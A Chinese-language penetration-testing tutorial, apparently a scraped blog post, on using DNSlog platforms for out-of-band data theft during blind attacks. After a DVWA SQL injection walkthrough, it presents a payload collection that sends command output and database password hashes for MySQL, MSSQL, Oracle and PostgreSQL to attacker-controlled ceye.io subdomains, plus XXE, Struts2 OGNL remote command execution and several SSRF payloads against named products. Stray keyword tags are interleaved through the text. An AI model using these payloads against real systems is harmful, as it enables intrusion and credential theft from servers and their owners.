主要針對無回顯的狀況。php
將dnslog平臺中的特有字段payload帶入目標發起dns請求,經過dns解析將請求後的關鍵信息組合成新的三級域名帶出,在ns服務器的dns日誌中顯示出來。
java
1' and '1'='1
,查詢成功,1' and '1'='2
查詢失敗,結果爲空輸入 1' or '1'='1
查詢成功
mysql
綜上,存在注入,字符型。ajax
使用 order by 猜解出來字段爲2。
sql
顯位,輸入 1' union select 1,2 #
數據庫
輸入 1' union select user(),database() #
獲取當前用戶及數據庫
windows
就不繼續往下了,但盲注是不顯位的,除了咱們常規的猜數據庫長度,二分法猜每一個字母 acsii碼 值外,就能用到dnslog了。服務器
1' and '1'='1
,顯示存在;1' and '1'='2
,顯示不存在。存在注入,字符型。
這裏就不用判斷字段了,判斷字段是爲了後面顯位。網絡
這裏直接使用 dnslog 平臺的二級域名 0ox095.ceye.io。
輸入以下查詢數據庫,而後到dnslog平臺查看:oracle
# dns查詢有長度限制,必要的時候須要對查詢結果作字符串切割。 http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/ ?id=1' and if((select load_file(concat('\\\\',(select database()),'.0ox095.ceye.io\\sql_test'))),1,0)--+ &Submit=Submit#
其中 and if((select load_file(concat('\\\\',(select database()),'.0ox095.ceye.io\\sql_test'))),1,0)--+
解釋以下:
- and 鏈接符,測試用 or 也能夠 - if(x,1,0) 若是x爲真輸出1,爲假輸出0,在此不重要,主要是將 x帶入數據庫中,而後得出的結果進行dns解析成 dvwa.0ox095.ceye.io - select 查詢 - load_file() 讀取文件內容 - concat 拼接字段,這裏拼接成了 \\dvwa.0ox095.ceye.io\sql_test - \\\\ widnows中用共享文件的時候就會用到這種網絡地址的形式,並且轉義問題因此前面4個\變成了2個,後面2個變成了1個,最終結果見上一行。 - select database() 查看當前數據庫,查詢的任何內容在此替換(如查表、字段、數據等)。 - 最後 --+ 爲mysql註釋,-- 後須要一個空格,用+代替。
完整流程:
# 爆數據庫(mysql5.0以上版本纔有information_schema數據庫) select schema_name from information_schema.schemata limit 0,1 select schema_name from information_schema.schemata limit 1,1 # 爆表(後面爲數據庫名或者其十六進制) select table_name from information_schema.tables where table_schema='dvwa' limit 0,1 select table_name from information_schema.tables where table_schema=0x64767761 limit 0,1 # 爆字段 select column_name from information_schema.columns where table_name='users' limit 0,1 # 爆數據 select user from users limit 0,1 select password from users limit 0,1 獲得 admin / 5f4dcc3b5aa765d61d8327deb882cf99
curl http://0ox095.ceye.io/`whoami`
變量 | 類型 | 描述 |
---|---|---|
%ALLUSERSPROFILE% | 本地 | 返回「全部用戶」配置文件的位置。 |
%APPDATA% | 本地 | 返回默認狀況下應用程序存儲數據的位置。 |
%CD% | 本地 | 返回當前目錄字符串。 |
%CMDCMDLINE% | 本地 | 返回用來啓動當前的 Cmd.exe 的準確命令行。 |
%CMDEXTVERSION% | 系統 | 返回當前的「命令處理程序擴展」的版本號。 |
%COMPUTERNAME% | 系統 | 返回計算機的名稱。 |
%COMSPEC% | 系統 | 返回命令行解釋器可執行程序的準確路徑。 |
%DATE% | 系統 | 返回當前日期。使用與 date /t 命令相同的格式。由 Cmd.exe 生成。有關 date 命令的詳細信息,請參閱 Date。 |
%ERRORLEVEL% | 系統 | 返回上一條命令的錯誤代碼。一般用非零值表示錯誤。 |
%HOMEDRIVE% | 系統 | 返回鏈接到用戶主目錄的本地工做站驅動器號。基於主目錄值而設置。用戶主目錄是在「本地用戶和組」中指定的。 |
%HOMEPATH% | 系統 | 返回用戶主目錄的完整路徑。基於主目錄值而設置。用戶主目錄是在「本地用戶和組」中指定的。 |
%HOMESHARE% | 系統 | 返回用戶的共享主目錄的網絡路徑。基於主目錄值而設置。用戶主目錄是在「本地用戶和組」中指定的。 |
%LOGONSERVER% | 本地 | 返回驗證當前登陸會話的域控制器的名稱。 |
%NUMBER_OF_PROCESSORS% | 系統 | 指定安裝在計算機上的處理器的數目。 |
%OS% | 系統 | 返回操做系統名稱。Windows 2000 顯示其操做系統爲 Windows_NT。 |
%PATH% | 系統 | 指定可執行文件的搜索路徑。 |
%PATHEXT% | 系統 | 返回操做系統認爲可執行的文件擴展名的列表。 |
%PROCESSOR_ARCHITECTURE% | 系統 | 返回處理器的芯片體系結構。值:x86 或 IA64(基於 Itanium)。 |
%PROCESSOR_IDENTFIER% | 系統 | 返回處理器說明。 |
%PROCESSOR_LEVEL% | 系統 | 返回計算機上安裝的處理器的型號。 |
%PROCESSOR_REVISION% | 系統 | 返回處理器的版本號。 |
%PROMPT% | 本地 | 返回當前解釋程序的命令提示符設置。由 Cmd.exe 生成。 |
%RANDOM% | 系統 | 返回 0 到 32767 之間的任意十進制數字。由 Cmd.exe 生成。 |
%SYSTEMDRIVE% | 系統 | 返回包含 Windows server operating system 根目錄(即系統根目錄)的驅動器。 |
%SYSTEMROOT% | 系統 | 返回 Windows server operating system 根目錄的位置。 |
%TEMP%和%TMP% | 系統和用戶 | 返回對當前登陸用戶可用的應用程序所使用的默認臨時目錄。有些應用程序須要 TEMP,而其餘應用程序則須要 TMP。 |
%TIME% | 系統 | 返回當前時間。使用與time /t命令相同的格式。由Cmd.exe生成。有關time命令的詳細信息,請參閱 Time。 |
%USERDOMAIN% | 本地 | 返回包含用戶賬戶的域的名稱。 |
%USERNAME% | 本地 | 返回當前登陸的用戶的名稱。 |
%USERPROFILE% | 本地 | 返回當前用戶的配置文件的位置。 |
%WINDIR% | 系統 | 返回操做系統目錄的位置。 |
0x00 Command Execution
curl http://b182oj.ceye.io/`whoami` ping `whoami`.b182oj.ceye.io
ping %USERNAME%.b182oj.ceye.io
0x01 SQL Injection
DECLARE @host varchar(1024); SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins WHERE name='sa') +'.b182oj.ceye.io'; EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');
SELECT UTL_INADDR.GET_HOST_ADDRESS('b182oj.ceye.io'); SELECT UTL_HTTP.REQUEST('http://b182oj.ceye.io/oracle') FROM DUAL; SELECT HTTPURITYPE('http://b182oj.ceye.io/oracle').GETCLOB() FROM DUAL; SELECT DBMS_LDAP.INIT(('oracle.b182oj.ceye.io',80) FROM DUAL; SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.b182oj.ceye.io',80) FROM DUAL;
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.b182oj.ceye.io\\abc'));
DROP TABLE IF EXISTS table_output; CREATE TABLE table_output(content text); CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $ DECLARE exec_cmd TEXT; DECLARE query_result TEXT; BEGIN SELECT INTO query_result (SELECT passwd FROM pg_shadow WHERE usename='postgres'); exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.psql.b182oj.ceye.io\\\\foobar.txt\''; EXECUTE exec_cmd; END; $ LANGUAGE plpgsql SECURITY DEFINER; SELECT temp_function();
0x02 XML Entity Injection
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://b182oj.ceye.io/xxe_test"> %remote;]> <root/>
0x03 Others
xx.action?redirect:http://b182oj.ceye.io/%25{3*4} xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://b182oj.ceye.io/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http://b182oj.ceye.io #EXT-X-ENDLIST
xxoo.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://b182oj.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search
push graphic-context viewbox 0 0 640 480 fill 'url(http://b182oj.ceye.io)' pop graphic-context
xxoo.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://b182oj.ceye.io/ssrf
http://xxx.xxxx.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://b182oj.ceye.io/xx.jpg[/img]&formhash=xxoo